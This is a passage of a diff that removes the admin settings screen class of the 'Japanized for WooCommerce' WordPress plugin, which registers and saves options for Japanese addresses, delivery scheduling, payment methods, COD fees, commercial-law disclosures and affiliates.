-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly.
-}
-
-/**
- * Class JP4WC_Admin_Screen
- *
- * Handles the admin screen functionality for Japanized for WooCommerce plugin
- *
- * This class is responsible for managing and displaying the admin interface
- * settings, options, and configurations specific to the Japanese localization
- * features for WooCommerce.
- *
- * @package Japanized_For_WooCommerce
- * @since 1.0.0
- */
-class JP4WC_Admin_Screen {
-	/**
-	 * Error messages.
-	 *
-	 * @var array
-	 */
-	public $errors = array();
-
-	/**
-	 * Update messages.
-	 *
-	 * @var array
-	 */
-	public $messages = array();
-
-	/**
-	 * Japanized for WooCommerce Framework.
-	 *
-	 * @var object
-	 */
-	public $jp4wc_plugin;
-
-	/**
-	 * Prefix for the plugin.
-	 *
-	 * @var string
-	 */
-	public $prefix;
-
-	/**
-	 * Constructor
-	 */
-	public function __construct() {
-		add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_scripts' ), 80 );
-		add_action( 'admin_menu', array( $this, 'jp4wc_admin_menu' ), 60 );
-		add_action( 'admin_init', array( $this, 'jp4wc_setting_init' ) );
-		add_action( 'wp_dashboard_setup', array( __CLASS__, 'jp4wc_dashboard_widget' ), 1 );
-		$this->jp4wc_plugin = new FrameworkJP4WC_Framework();
-		$this->prefix       = 'wc4jp-';
-	}
-
-	/**
-	 * Admin Menu
-	 */
-	public function jp4wc_admin_menu() {
-		add_submenu_page(
-			'woocommerce',
-			__( 'For Japanese', 'woocommerce-for-japan' ),
-			__( 'For Japanese', 'woocommerce-for-japan' ),
-			'manage_woocommerce',
-			'wc4jp-options',
-			array( $this, 'jp4wc_output_display' )
-		);
-	}
-
-	/**
-	 * Admin Screen output
-	 */
-	public function jp4wc_output_display() {
-		include 'views/html-admin-screen.php';
-	}
-
-	/**
-	 * Admin page for Setting
-	 */
-	public function admin_setting_page() {
-		include 'views/html-admin-setting-screen.php';
-	}
-
-	/**
-	 * Admin page for infomation
-	 */
-	public function admin_info_page() {
-		include 'views/html-admin-info-screen.php';
-	}
-
-	/**
-	 * Initialize plugin settings
-	 *
-	 * Register settings sections, fields and options for the plugin's
-	 * admin settings page. Handles the saving of these settings.
-	 *
-	 * @since 1.0.0
-	 * @return void
-	 */
-	public function jp4wc_setting_init() {
-
-		register_setting(
-			'jp4wc_options',
-			'jp4wc_options_name',
-			array( $this, 'validate_options' )
-		);
-
-		// Address Display Setting.
-		add_settings_section(
-			'jp4wc_general',
-			__( 'Address Display Setting', 'woocommerce-for-japan' ),
-			'',
-			'jp4wc_setting'
-		);
-		add_settings_field(
-			'jp4wc_options_notice',
-			__( 'Notice', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_options_notice' ),
-			'jp4wc_setting',
-			'jp4wc_general'
-		);
-		add_settings_field(
-			'jp4wc_options_yomigana',
-			__( 'Name Yomigana', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_options_yomigana' ),
-			'jp4wc_setting',
-			'jp4wc_general'
-		);
-		add_settings_field(
-			'jp4wc_options_yomigana_required',
-			__( 'Required Name Yomigana', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_options_yomigana_required' ),
-			'jp4wc_setting',
-			'jp4wc_general'
-		);
-		add_settings_field(
-			'jp4wc_options_honorific_suffix',
-			__( 'Honorific suffix(Sama)', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_options_honorific_suffix' ),
-			'jp4wc_setting',
-			'jp4wc_general'
-		);
-		add_settings_field(
-			'jp4wc_options_company_name',
-			__( 'Company Name', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_options_company_name' ),
-			'jp4wc_setting',
-			'jp4wc_general'
-		);
-		add_settings_field(
-			'jp4wc_options_zip2address',
-			__( 'Automatic zip code entry', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_options_zip2address' ),
-			'jp4wc_setting',
-			'jp4wc_general'
-		);
-		add_settings_field(
-			'jp4wc_options_yahoo_app_id',
-			__( 'Yahoo APP ID', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_options_yahoo_app_id' ),
-			'jp4wc_setting',
-			'jp4wc_general'
-		);
-		add_settings_field(
-			'jp4wc_options_no_ja',
-			__( 'No Japanese Address', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_options_no_ja' ),
-			'jp4wc_setting',
-			'jp4wc_general'
-		);
-		add_settings_field(
-			'jp4wc_options_free_shipping',
-			__( 'Free Shipping Display', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_options_free_shipping' ),
-			'jp4wc_setting',
-			'jp4wc_general'
-		);
-		add_settings_field(
-			'jp4wc_options_custom_email_customer_name',
-			__( 'Custamize Email template at customer name', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_options_custom_email_customer_name' ),
-			'jp4wc_setting',
-			'jp4wc_general'
-		);
-
-		// virtual products Setting.
-		add_settings_section(
-			'jp4wc_virtual',
-			__( 'Virtual order Setting', 'woocommerce-for-japan' ),
-			'',
-			'jp4wc_setting'
-		);
-		add_settings_field(
-			'jp4wc_options_download',
-			__( 'Hide address input', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_virtual_order_billing_setting' ),
-			'jp4wc_setting',
-			'jp4wc_virtual'
-		);
-
-		// Tracking  Setting.
-		add_settings_section(
-			'jp4wc_tracking',
-			__( 'Usage tracking', 'woocommerce-for-japan' ),
-			'',
-			'jp4wc_setting'
-		);
-
-		add_settings_field(
-			'jp4wc_setting_tracking',
-			__( 'Tracking', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_tracking' ),
-			'jp4wc_setting',
-			'jp4wc_tracking'
-		);
-
-		// Delivery date designation.
-		add_settings_section(
-			'jp4wc_delivery_date',
-			__( 'Delivery date designation', 'woocommerce-for-japan' ),
-			'',
-			'jp4wc_shipment'
-		);
-		add_settings_field(
-			'jp4wc_delivery_date_designation',
-			__( 'Preferred delivery date', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_delivery_date_designation' ),
-			'jp4wc_shipment',
-			'jp4wc_delivery_date'
-		);
-		add_settings_field(
-			'jp4wc_delivery_date_required',
-			__( 'Preferred delivery date required', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_delivery_date_required' ),
-			'jp4wc_shipment',
-			'jp4wc_delivery_date'
-		);
-		add_settings_field(
-			'jp4wc_start_date',
-			__( 'Start Date', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_start_date' ),
-			'jp4wc_shipment',
-			'jp4wc_delivery_date'
-		);
-		add_settings_field(
-			'jp4wc_reception_period',
-			__( 'Delivery Term', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_reception_period' ),
-			'jp4wc_shipment',
-			'jp4wc_delivery_date'
-		);
-		add_settings_field(
-			'jp4wc_unspecified_date',
-			__( 'Unspecified date description', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_unspecified_date' ),
-			'jp4wc_shipment',
-			'jp4wc_delivery_date'
-		);
-		add_settings_field(
-			'jp4wc_date_format',
-			__( 'Date format', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_date_format' ),
-			'jp4wc_shipment',
-			'jp4wc_delivery_date'
-		);
-		add_settings_field(
-			'jp4wc_day_of_week',
-			__( 'Display day of week', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_day_of_week' ),
-			'jp4wc_shipment',
-			'jp4wc_delivery_date'
-		);
-		add_settings_field(
-			'jp4wc_delivery_deadline',
-			__( 'Delivery deadline', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_delivery_deadline' ),
-			'jp4wc_shipment',
-			'jp4wc_delivery_date'
-		);
-		add_settings_field(
-			'jp4wc_no_delivery_weekday',
-			__( 'No delivery weekday', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_no_delivery_weekday' ),
-			'jp4wc_shipment',
-			'jp4wc_delivery_date'
-		);
-		add_settings_field(
-			'jp4wc_holiday_term',
-			__( 'Holiday term', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_holiday_term' ),
-			'jp4wc_shipment',
-			'jp4wc_delivery_date'
-		);
-
-		// Delivery time designation.
-		add_settings_section(
-			'jp4wc_delivery_time',
-			__( 'Delivery Time designation', 'woocommerce-for-japan' ),
-			'',
-			'jp4wc_shipment'
-		);
-		add_settings_field(
-			'jp4wc_delivery_time_zone',
-			__( 'Delivery time zone', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_delivery_time_zone' ),
-			'jp4wc_shipment',
-			'jp4wc_delivery_time'
-		);
-		add_settings_field(
-			'jp4wc_delivery_time_zone_required',
-			__( 'Delivery time zone required', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_delivery_time_zone_required' ),
-			'jp4wc_shipment',
-			'jp4wc_delivery_time'
-		);
-		add_settings_field(
-			'jp4wc_unspecified_time',
-			__( 'Unspecified Time description', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_unspecified_time' ),
-			'jp4wc_shipment',
-			'jp4wc_delivery_time'
-		);
-		add_settings_field(
-			'jp4wc_delivery_time_zone_mgn',
-			__( 'Delivery time zone management', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_delivery_time_zone_mgn' ),
-			'jp4wc_shipment',
-			'jp4wc_delivery_time'
-		);
-
-		// Delivery notification.
-		add_settings_section(
-			'jp4wc_delivery_notification',
-			__( 'Notification of missing required fields', 'woocommerce-for-japan' ),
-			'',
-			'jp4wc_shipment'
-		);
-		add_settings_field(
-			'jp4wc_delivery_notification_email',
-			__( 'Notification email address', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_delivery_notification_email' ),
-			'jp4wc_shipment',
-			'jp4wc_delivery_notification'
-		);
-
-		// Payment Method.
-		add_settings_section(
-			'jp4wc_payments',
-			__( 'Payment Method', 'woocommerce-for-japan' ),
-			'',
-			'jp4wc_payment'
-		);
-		add_settings_field(
-			'jp4wc_options_bankjp',
-			__( 'BANK PAYMENT IN JAPAN', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_options_bankjp' ),
-			'jp4wc_payment',
-			'jp4wc_payments'
-		);
-		add_settings_field(
-			'jp4wc_options_postofficebank',
-			__( 'Postal transfer', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_options_postofficebank' ),
-			'jp4wc_payment',
-			'jp4wc_payments'
-		);
-		add_settings_field(
-			'jp4wc_options_atstore',
-			__( 'Pay at store', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_options_atstore' ),
-			'jp4wc_payment',
-			'jp4wc_payments'
-		);
-		add_settings_field(
-			'jp4wc_options_cod2',
-			__( 'COD for Subscriptions', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_options_cod2' ),
-			'jp4wc_payment',
-			'jp4wc_payments'
-		);
-		add_settings_field(
-			'jp4wc_options_paypal',
-			__( 'PayPal', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_options_paypal' ),
-			'jp4wc_payment',
-			'jp4wc_payments'
-		);
-
-		add_settings_section(
-			'jp4wc_cod_setting',
-			__( 'Extra charge for COD method', 'woocommerce-for-japan' ),
-			'',
-			'jp4wc_payment'
-		);
-		add_settings_field(
-			'jp4wc_cod_fee_name',
-			__( 'Fee name', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_cod_fee_name' ),
-			'jp4wc_payment',
-			'jp4wc_cod_setting'
-		);
-		add_settings_field(
-			'jp4wc_cod_charge_amount',
-			__( 'Extra charge amount', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_cod_charge_amount' ),
-			'jp4wc_payment',
-			'jp4wc_cod_setting'
-		);
-		add_settings_field(
-			'jp4wc_cod_max_charge_amount',
-			__( 'Maximum cart value to which adding fee', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_cod_max_charge_amount' ),
-			'jp4wc_payment',
-			'jp4wc_cod_setting'
-		);
-		add_settings_field(
-			'jp4wc_cod_tax_status',
-			__( 'Includes taxes', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_cod_tax_status' ),
-			'jp4wc_payment',
-			'jp4wc_cod_setting'
-		);
-		add_settings_field(
-			'jp4wc_cod_tax_class',
-			__( 'Tax Class', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_cod_tax_class' ),
-			'jp4wc_payment',
-			'jp4wc_cod_setting'
-		);
-		add_settings_field(
-			'jp4wc_cod_charge_amount_details',
-			__( 'Charge amount of details', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_cod_charge_amount_details' ),
-			'jp4wc_payment',
-			'jp4wc_cod_setting'
-		);
-
-		// Display of Specified Commercial Transaction Law.
-		add_settings_section(
-			'jp4wc_laws',
-			__( 'Specified Commercial Transaction Law', 'woocommerce-for-japan' ),
-			'',
-			'jp4wc_law'
-		);
-		add_settings_field(
-			'jp4wc_law_shop_name',
-			__( 'Shop Name', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_law_shop_name' ),
-			'jp4wc_law',
-			'jp4wc_laws'
-		);
-		add_settings_field(
-			'jp4wc_law_company_name',
-			__( 'Sales company name (company name)', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_law_company_name' ),
-			'jp4wc_law',
-			'jp4wc_laws'
-		);
-		add_settings_field(
-			'jp4wc_law_owner_name',
-			__( 'Owner Name', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_law_owner_name' ),
-			'jp4wc_law',
-			'jp4wc_laws'
-		);
-		add_settings_field(
-			'jp4wc_law_manager_name',
-			__( 'Manager Name', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_law_manager_name' ),
-			'jp4wc_law',
-			'jp4wc_laws'
-		);
-		add_settings_field(
-			'jp4wc_law_location',
-			__( 'Location', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_law_location' ),
-			'jp4wc_law',
-			'jp4wc_laws'
-		);
-		add_settings_field(
-			'jp4wc_law_contact',
-			__( 'Contact', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_law_contact' ),
-			'jp4wc_law',
-			'jp4wc_laws'
-		);
-		add_settings_field(
-			'jp4wc_law_tel',
-			__( 'Telephone', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_law_tel' ),
-			'jp4wc_law',
-			'jp4wc_laws'
-		);
-		add_settings_field(
-			'jp4wc_law_price',
-			__( 'Selling price', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_law_price' ),
-			'jp4wc_law',
-			'jp4wc_laws'
-		);
-		add_settings_field(
-			'jp4wc_law_payment',
-			__( 'Payment method', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_law_payment' ),
-			'jp4wc_law',
-			'jp4wc_laws'
-		);
-		add_settings_field(
-			'jp4wc_law_purchase',
-			__( 'Product purchase method', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_law_purchase' ),
-			'jp4wc_law',
-			'jp4wc_laws'
-		);
-		add_settings_field(
-			'jp4wc_law_delivery',
-			__( 'Product delivery time', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_law_delivery' ),
-			'jp4wc_law',
-			'jp4wc_laws'
-		);
-		add_settings_field(
-			'jp4wc_law_cost',
-			__( 'Costs other than product charges', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_law_cost' ),
-			'jp4wc_law',
-			'jp4wc_laws'
-		);
-		add_settings_field(
-			'jp4wc_law_return',
-			__( 'Returns / Cancellations', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_law_return' ),
-			'jp4wc_law',
-			'jp4wc_laws'
-		);
-		add_settings_field(
-			'jp4wc_law_special',
-			__( 'Special conditions', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_law_special' ),
-			'jp4wc_law',
-			'jp4wc_laws'
-		);
-		add_settings_field(
-			'jp4wc_law_explanation',
-			__( 'Setting method', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_law_explanation' ),
-			'jp4wc_law',
-			'jp4wc_laws'
-		);
-
-		// affiliates setting.
-		add_settings_section(
-			'jp4wc_affiliates',
-			__( 'Affiliate Setting', 'woocommerce-for-japan' ),
-			'',
-			'jp4wc_affiliate'
-		);
-
-		add_settings_field(
-			'jp4wc_affiliates_a8',
-			__( 'A8.net Setting', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_affiliates_a8' ),
-			'jp4wc_affiliate',
-			'jp4wc_affiliates'
-		);
-
-		add_settings_field(
-			'jp4wc_affiliates_felmat',
-			__( 'felmat Setting', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_affiliates_felmat' ),
-			'jp4wc_affiliate',
-			'jp4wc_affiliates'
-		);
-
-		register_setting(
-			'jp4wc_informations',
-			'jp4wc_informations_name'
-		);
-
-		// Plugins Informations.
-		add_settings_section(
-			'jp4wc_plugins',
-			__( 'Plugins Information', 'woocommerce-for-japan' ),
-			'',
-			'jp4wc_informations'
-		);
-		add_settings_field(
-			'jp4wc_informations_plugins',
-			__( 'Featured Plugins', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_informations_plugins' ),
-			'jp4wc_informations',
-			'jp4wc_plugins'
-		);
-
-		// Professional services Informations.
-		add_settings_section(
-			'jp4wc_services',
-			__( 'Professional services Information', 'woocommerce-for-japan' ),
-			'',
-			'jp4wc_informations'
-		);
-		add_settings_field(
-			'jp4wc_informations_services',
-			__( 'Featured Services', 'woocommerce-for-japan' ),
-			array( $this, 'jp4wc_informations_services' ),
-			'jp4wc_informations',
-			'jp4wc_services'
-		);
-		if ( isset( $_POST['_wpnonce'] ) && isset( $_POST['option_page'] ) && wp_verify_nonce( sanitize_key( $_POST['_wpnonce'] ), sanitize_key( $_POST['option_page'] ) . '-options' ) && isset( $_GET['page'] ) && 'wc4jp-options' === $_GET['page'] ) {
-			if ( ( isset( $_GET['tab'] ) && 'setting' === $_GET['tab'] ) || ! isset( $_GET['tab'] ) ) {
-				// Save general setting.
-				$add_methods = array(
-					'yomigana',
-					'yomigana-required',
-					'honorific-suffix',
-					'company-name',
-					'zip2address',
-					'yahoo-app-id',
-					'no-ja',
-					'free-shipping',
-					'custom-email-customer-name',
-					'billing_postcode', // from virtual order.
-					'billing_state',
-					'billing_city',
-					'billing_address_1',
-					'billing_address_2',
-					'billing_phone',
-					'tracking',
-				);
-				$this->jp4wc_save_methods( $add_methods );
-				self::add_message( __( 'Your settings have been saved.', 'woocommerce-for-japan' ) );
-			}
-			if ( isset( $_GET['tab'] ) && 'payment' === $_GET['tab'] ) {
-				// Save payment setting.
-				$payment_methods = array(
-					'bankjp',
-					'postofficebank',
-					'atstore',
-					'cod2',
-					'jp4wc-paypal',
-				);
-				foreach ( $payment_methods as $payment_method ) {
-					$woocommerce_settings = get_option( 'woocommerce_' . $payment_method . '_settings' );
-					if ( isset( $_POST[ $payment_method ] ) && ! empty( $_POST[ $payment_method ] ) ) {
-						$payment_value = sanitize_text_field( wp_unslash( $_POST[ $payment_method ] ) );
-						update_option( $this->prefix . $payment_method, $payment_value );
-						if ( isset( $woocommerce_settings ) && isset( $woocommerce_settings['enabled'] ) ) {
-							$woocommerce_settings['enabled'] = 'yes';
-							update_option( 'woocommerce_' . $payment_method . '_settings', $woocommerce_settings );
-						}
-						do_action( 'jp4wc_save_methods_activation', $payment_method );
-					} else {
-						update_option( $this->prefix . $payment_method, '' );
-						if ( isset( $woocommerce_settings ) && isset( $woocommerce_settings['enabled'] ) ) {
-							$woocommerce_settings['enabled'] = 'no';
-							update_option( 'woocommerce_' . $payment_method . '_settings', $woocommerce_settings );
-						}
-						do_action( 'jp4wc_save_methods_deactivation', $payment_method );
-					}
-				}
-				// Save COD extra charge setting.
-				$add_methods     = array(
-					'extra_charge_name',
-					'extra_charge_amount',
-					'extra_charge_max_cart_value',
-					'extra_charge_calc_taxes',
-					'extra_charge_tax_class',
-				);
-				$wc_cod_settings = get_option( 'woocommerce_cod_settings' );
-				foreach ( $add_methods as $add_method ) {
-					if ( isset( $_POST[ $add_method ] ) && ! empty( $_POST[ $add_method ] ) ) {
-						$value                          = sanitize_text_field( wp_unslash( $_POST[ $add_method ] ) );
-						$wc_cod_settings[ $add_method ] = $value;
-						update_option( 'woocommerce_cod_settings', $wc_cod_settings );
-						update_option( $this->prefix . $add_method, $value );
-					} elseif ( 'extra_charge_amount' === $add_method || 'extra_charge_max_cart_value' === $add_method ) {
-							$wc_cod_settings[ $add_method ] = '0';
-							update_option( 'woocommerce_cod_settings', $wc_cod_settings );
-							update_option( $this->prefix . $add_method, '0' );
-					} else {
-						$wc_cod_settings[ $add_method ] = '';
-						update_option( 'woocommerce_cod_settings', $wc_cod_settings );
-						update_option( $this->prefix . $add_method, '' );
-					}
-				}
-
-				if ( isset( $_POST['cod_fee'] ) && isset( $_POST['cod_max'] ) ) {
-					$fees     = array();
-					$cod_fees = wc_clean( array_map( 'sanitize_text_field', wp_unslash( $_POST['cod_fee'] ) ) );
-					$cod_maxs = wc_clean( array_map( 'sanitize_text_field', wp_unslash( $_POST['cod_max'] ) ) );
-
-					foreach ( $cod_fees as $i => $name ) {
-						if ( ! isset( $cod_fees[ $i ] ) ) {
-							continue;
-						}
-
-						$fees[] = array(
-							'cod_fee' => $cod_fees[ $i ],
-							'cod_max' => $cod_maxs[ $i ],
-						);
-					}
-					update_option( 'woocommerce_cod_fees', $fees );
-				}
-
-				self::add_message( __( 'Your settings have been saved.', 'woocommerce-for-japan' ) );
-			}
-			if ( isset( $_GET['tab'] ) && 'shipment' === $_GET['tab'] ) {
-				// Save shipment setting.
-				$add_methods = array(
-					'delivery-date',
-					'delivery-date-required',
-					'start-date',
-					'reception-period',
-					'unspecified-date',
-					'delivery-deadline',
-					'no-mon',
-					'no-tue',
-					'no-wed',
-					'no-thu',
-					'no-fri',
-					'no-sat',
-					'no-sun',
-					'holiday-start-date',
-					'holiday-end-date',
-					'delivery-time-zone',
-					'delivery-time-zone-required',
-					'unspecified-time',
-					'date-format',
-					'day-of-week',
-					'delivery-notification-email',
-				);
-				$this->jp4wc_save_methods( $add_methods );
-				// Save timezones setting.
-				$time_zones = array();
-				if ( isset( $_POST['start_time'] ) && isset( $_POST['end_time'] ) ) {
-
-					$start_times = array_map( 'wc_clean', array_map( 'sanitize_text_field', wp_unslash( $_POST['start_time'] ) ) );
-					$end_times   = array_map( 'wc_clean', array_map( 'sanitize_text_field', wp_unslash( $_POST['end_time'] ) ) );
-
-					foreach ( $start_times as $i => $start_time ) {
-						if ( ! isset( $start_times[ $i ] ) ) {
-							continue;
-						}
-						$time_zones[] = array(
-							'start_time' => $start_times[ $i ],
-							'end_time'   => $end_times[ $i ],
-						);
-					}
-				}
-				update_option( 'wc4jp_time_zone_details', $time_zones );
-				self::add_message( __( 'Your settings have been saved.', 'woocommerce-for-japan' ) );
-			}
-			if ( ( isset( $_GET['tab'] ) && 'law' === $_GET['tab'] ) ) {
-				// Save general setting.
-				$add_methods = array(
-					'law-shop-name',
-					'law-company-name',
-					'law-owner-name',
-					'law-manager-name',
-					'law-location',
-					'law-contact',
-					'law-tel',
-					'law-price',
-					'law-payment',
-					'law-purchase',
-					'law-delivery',
-					'law-cost',
-					'law-return',
-					'law-special',
-				);
-				$this->jp4wc_save_methods( $add_methods );
-				self::add_message( __( 'Your settings have been saved.', 'woocommerce-for-japan' ) );
-			}
-			if ( ( isset( $_GET['tab'] ) && 'affiliate' === $_GET['tab'] ) ) {
-				// Save affiliate setting.
-				$add_methods = array(
-					'affiliate-a8',
-					'affiliate-a8-test',
-					'affiliate-a8-pid',
-					'affiliate-felmat',
-					'affiliate-felmat-pid',
-				);
-				$this->jp4wc_save_methods( $add_methods );
-				self::add_message( __( 'Your settings have been saved.', 'woocommerce-for-japan' ) );
-			}
-		}
-	}
-
-	/**
-	 * Add a message.
-	 *
-	 * @param string $text Message text.
-	 */
-	public function add_message( $text ) {
-		$this->messages[] = $text;
-	}
-
-	/**
-	 * Add an error.
-	 *
-	 * @param string $text Error text.
-	 */
-	public function add_error( $text ) {
-		$this->errors[] = $text;
-	}
-
-	/**
-	 * Output messages + errors.
-	 */
-	public function show_messages() {
-		if ( count( $this->errors ) > 0 ) {
-			foreach ( $this->errors as $error ) {
-				echo '<div id="message" class="error inline"><p><strong>' . esc_html( $error ) . '</strong></p></div>';
-			}
-		} elseif ( count( $this->messages ) > 0 ) {
-			foreach ( $this->messages as $message ) {
-				echo '<div id="message" class="updated inline"><p><strong>' . esc_html( $message ) . '</strong></p></div>';
-			}
-		}
-	}
-
-	/**
-	 * Save option.
-	 *
-	 * @param array $add_methods Add methods.
-	 */
-	public function jp4wc_save_methods( $add_methods ) {
-		// Check if nonce is verified (this function should only be called after nonce verification).
-		if ( ! isset( $_POST['_wpnonce'] ) || ! isset( $_POST['option_page'] ) ) {
-			return;
-		}
-
-		// Verify nonce for security.
-		if ( ! wp_verify_nonce( sanitize_key( $_POST['_wpnonce'] ), sanitize_key( $_POST['option_page'] ) . '-options' ) ) {
-			return;
-		}
-
-		foreach ( $add_methods as $add_method ) {
-			if ( isset( $_POST[ $add_method ] ) ) {
-				$post_add_method = sanitize_text_field( wp_unslash( $_POST[ $add_method ] ) );
-				if ( $post_add_method ) {
-					update_option( $this->prefix . $add_method, $post_add_method );
-					do_action( 'jp4wc_save_methods_' . $add_method, $post_add_method );
-				} elseif ( '0' === $post_add_method ) {
-					update_option( $this->prefix . $add_method, '0' );
-				}
-			} else {
-				update_option( $this->prefix . $add_method, '' );
-			}
-		}
-	}
-
-	/**
-	 * Displays admin notices for Japanized for WooCommerce options.
-	 *
-	 * This function handles the display of various administrative notices
-	 * related to plugin configuration and settings.
-	 *
-	 * @since 1.0.0
-	 * @access public
-	 *
-	 * @return void
-	 */
-	public function jp4wc_options_notice() {
-		esc_html_e( 'Regarding this setting, etc., we do not yet support block shopping carts or purchase procedures. Please use the shortcode to use this feature.', 'woocommerce-for-japan' );
-	}
-
-	/**
-	 * Yomigana option.
-	 */
-	public function jp4wc_options_yomigana() {
-		$title       = __( 'Name Yomigana', 'woocommerce-for-japan' );
-		$description = $this->jp4wc_description_address_pattern( $title );
-		$this->jp4wc_plugin->jp4wc_input_checkbox( 'yomigana', $description, $this->prefix );
-	}
-
-	/**
-	 * Yomigana option.
-	 */
-	public function jp4wc_options_yomigana_required() {
-		$description = __( 'Check if you want to require yomigana.', 'woocommerce-for-japan' );
-		$this->jp4wc_plugin->jp4wc_input_checkbox( 'yomigana-required', $description, $this->prefix );
-	}
-
-	/**
-	 * Honorific Suffix option.
-	 */
-	public function jp4wc_options_honorific_suffix() {
-		$title       = __( 'Honorific Suffix(Sama)', 'woocommerce-for-japan' );
-		$description = $this->jp4wc_description_address_pattern( $title );
-		$this->jp4wc_plugin->jp4wc_input_checkbox( 'honorific-suffix', $description, $this->prefix );
-	}
-
-	/**
-	 * Company Name option.
-	 */
-	public function jp4wc_options_company_name() {
-		$title       = __( 'Company Name', 'woocommerce-for-japan' );
-		$description = $this->jp4wc_description_address_pattern( $title );
-		$this->jp4wc_plugin->jp4wc_input_checkbox( 'company-name', $description, $this->prefix );
-	}
-
-	/**
-	 * Free Shipping Display option.
-	 */
-	public function jp4wc_options_free_shipping() {
-		$title       = __( 'Free Shipping Display', 'woocommerce-for-japan' );
-		$description = $this->jp4wc_description_address_pattern( $title );
-		$this->jp4wc_plugin->jp4wc_input_checkbox( 'free-shipping', $description, $this->prefix );
-	}
-
-	/**
-	 * Email customize Customer name option.
-	 */
-	public function jp4wc_options_custom_email_customer_name() {
-		$add_message = __( 'This process has no hooks, so it overwrites the template files in /emails/. If you have customized the email template, please refer to the 12 files in the folder below and add them to your customization.<br/>woocommerce-for-japan/templates/emails/', 'woocommerce-for-japan' );
-		$description = __( 'Please check it if you want to change customer name display.( from first name to full name )', 'woocommerce-for-japan' ) . '<br />' . $add_message;
-		$this->jp4wc_plugin->jp4wc_input_checkbox( 'custom-email-customer-name', $description, $this->prefix );
-	}
-
-	/**
-	 * Email customize Customer name option.
-	 */
-	public function jp4wc_virtual_order_billing_setting() {
-		$virtual_billing_setting = array(
-			'postcode'  => __( 'Postcode / ZIP', 'woocommerce-for-japan' ),
-			'state'     => __( 'Prefecture', 'woocommerce-for-japan' ),
-			'city'      => __( 'Town / City', 'woocommerce-for-japan' ),
-			'address_1' => __( 'Street address', 'woocommerce-for-japan' ),
-			'address_2' => __( 'Apartment, suite, unit, etc. (optional)', 'woocommerce-for-japan' ),
-			'phone'     => __( 'Phone', 'woocommerce-for-japan' ),
-		);
-		foreach ( $virtual_billing_setting as $slug => $label ) {
-			$jp4wc_virtual_billing_setting = $this->jp4wc_plugin->jp4wc_option_setting( 'billing_' . $slug, $this->prefix );
-			?>
-		<label for="woocommerce_input_postcode">
-		<input type="checkbox" id="woocommerce_input_virtula_billing_<?php echo esc_attr( $slug ); ?>" name="billing_<?php echo esc_attr( $slug ); ?>" value="1" <?php checked( $jp4wc_virtual_billing_setting, 1 ); ?>>
-			<?php echo esc_html( $label ); ?>
-		</label>
-			<?php
-		}
-		echo '<p>';
-		esc_html_e( 'Check the address input field to hide in the virtual order.', 'woocommerce-for-japan' );
-		echo '</p>';
-	}
-
-	/**
-	 * Handles the tracking functionality for Japan-specific WooCommerce settings
-	 *
-	 * This function manages the tracking and analytics related to the Japanese localization
-	 * settings and features of WooCommerce. It helps monitor usage patterns and gather
-	 * insights about how the Japanese extensions are being utilized.
-	 *
-	 * @access public
-	 *
-	 * @return void
-	 */
-	public function jp4wc_tracking() {
-		$description = __( 'Enable usage tracking', 'woocommerce-for-japan' );
-		$this->jp4wc_plugin->jp4wc_input_checkbox( 'tracking', $description, $this->prefix );
-	}
-
-	/**
-	 * Automatic zip code entry option.
-	 */
-	public function jp4wc_options_zip2address() {
-		$title       = __( 'Automatic zip code entry', 'woocommerce-for-japan' );
